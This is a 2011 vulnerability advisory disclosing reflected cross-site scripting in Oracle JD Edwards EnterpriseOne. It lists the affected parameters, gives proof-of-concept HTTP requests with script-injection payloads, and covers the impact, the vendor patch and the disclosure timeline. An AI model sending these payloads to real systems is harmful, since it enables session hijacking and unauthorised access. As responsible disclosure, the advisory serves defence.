Advisory Name: Multiple Cross-Site Scripting (XSS) in Oracle JD Edwards EnterpriseOne

 

Public Advisory Id: CVE-2011-0836

 

Internal Cybsec Advisory Id: 2011-0402-Multiple XSSs in Oracle JD Edwards EnterpriseOne

 

Vulnerability Class: Reflected Cross-Site Scripting (XSS)

 

Release Date: 04/20/2011

 

Affected Applications: Oracle JD Edwards EnterpriseOne v8.12; other versions may also be affected.

 

Affected Platforms: Any running Oracle JD Edwards EnterpriseOne

 

Local / Remote:  Remote

 

Severity: Medium - CVSS: 3.5 (AV:N/AC:M/Au:S/C:N/I:P/A:N)

 

Researcher: Juan Manuel Garcia

 

Vendor Status: Patched

 

Reference to Vulnerability Disclosure Policy: https://www.cybsec.com/vulnerability_policy.pdf

 

Vulnerability Description:

Multiple Reflected Cross Site Scripting vulnerabilities were found in Oracle JD Edwards EnterpriseOne, because the application fails to sanitize user-supplied input. The vulnerabilities can be triggered by any logged-in user.

 

At least the following parameters are not properly sanitized:

 

/jde/E1Menu.maf: jdeowpBackButtonProtect

 

/jde/E1Menu_Menu.mafService: e1.namespace

 

/jde/E1Menu_OCL.mafService: e1.namespace

 

/jde/MafletClose.mafService: RENDER_MAFLET

 

/jde/JASMafletMafBrowserClose.mafService: jdemafjasLinkTarget

 

Some Proof of Concepts: 

 

https://XXX.XXX.XXX.XXX/jde/E1Menu.maf

Parameter: jdeowpBackButtonProtect

 

* The GET request has been set to: >'"><script>alert(20639)</script>

/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED&%3E%27%22%3E%3Cscript%3Ealert%2820639%29%3C%2Fscript%3E=123 HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=00002ZzkuqI4ibppzAAcyOOuBnh:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

 

 

https://XXX.XXX.XXX.XXX/jde/E1Menu_Menu.mafService

Parameter: e1.namespace

 

* The POST request has been set to: %2Balert%2835890%29%2B

 /jde/E1Menu_Menu.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_Menu&e1.namespace=%2Balert%2835890%29%2B HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000b7KChC3OjQct7TOz9U6NMhK:14p7umbnp; e1MenuState=100003759|

Content-Length: 12

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Content-Type: application/x-www-form-urlencoded

Referer: https://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED

 

nodeId=&a=lc

 

 

https://XXX.XXX.XXX.XXX/jde/E1Menu_OCL.mafService

Parameter: e1.namespace

 

* The GET request has been set to: %2Balert%2848981%29%2B

 

/jde/E1Menu_OCL.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_OCL&e1.namespace=%2Balert%2848981%29%2B&timestamp=1290796450377 HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000xXDQLJurffGMVi6Du_UnL0Z:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: https://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED

 

 

https://XXX.XXX.XXX.XXX/jde/MafletClose.mafService

Parameter: RENDER_MAFLET

 

* The GET request has been set to: E1Menu"%2Balert%2844218%29%2B"

 

/jde/MafletClose.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu"%2Balert%2844218%29%2B"&e1.service=MafletClose&e1.namespace= HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000FGUGWkc2Y9q-dO3GqshuPVQ:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: https://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED

 

* https://XXX.XXX.XXX.XXX/jde/JASMafletMafBrowserClose.mafService

Parameter: jdemafjasLinkTarget

 

* The GET request has been set to: E1MENUMAIN_3860308878877903872"%2Balert%28222735%29%2B"

 

/jde/JASMafletMafBrowserClose.mafService?jdemafjasFrom=BrowserClose&e1.mode=view&jdeLoginAction=LOGOUT&e1.state=maximized&jdemafjasLinkTarget=E1MENUMAIN_3860308878877903872"%2Balert%28222735%29%2B"&RENDER_MAFLET=E1Menu&jdemafjasLauncher=PSFT_TE_V3_SW&e1.service=JASMafletMafBrowserClose&e1.namespace= HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=00003wyVho0_-Ma0fQp67cuqdCs:14p7ulc8o; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: https://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED

 

Impact:

An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an

attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application.

 

Solution:

Install Oracle Critical Patch Update (CPU) - April 2011

 

Vendor Response:

 

2010/11/30 - Vulnerability was identified.

2010/12/03 - Vendor contacted.

2010/12/06 - Vendor commited to look into these issues.

2010/12/07 - Vendor request more info about the issue.

2010/12/07 - Cybsec sends more info about the issue.

2010/12/08 - Vendor says "We will look into this and get back to you soon".

2010/12/22 - Vendor confirmed vulnerability and informed that is going to send monthly updates about this issue till it is resolved.

2011/02/02 - Vendor request the info again and assigned the Tracking # S0024805 for this issue.

2011/02/04- Vendor request more time to resolve the vulnerability.

2011/02/04- Cybsec informs that the advisory will be published just after the publication of the Oracle's April CPU.

2011/04/18 - Vendor informs that the vulnerability is fixed in the upcoming Critical

Patch Update (CPU) due to be released on April 19, 2011.

2011/04/19 - Vendor publishes Critical Patch Update (CPU).

2011/04/20 - Vulnerability was released.

 

Contact Information:

 

For more information regarding the vulnerability feel free to contact the researcher at 

jmgarcia <at> cybsec <dot> com

 

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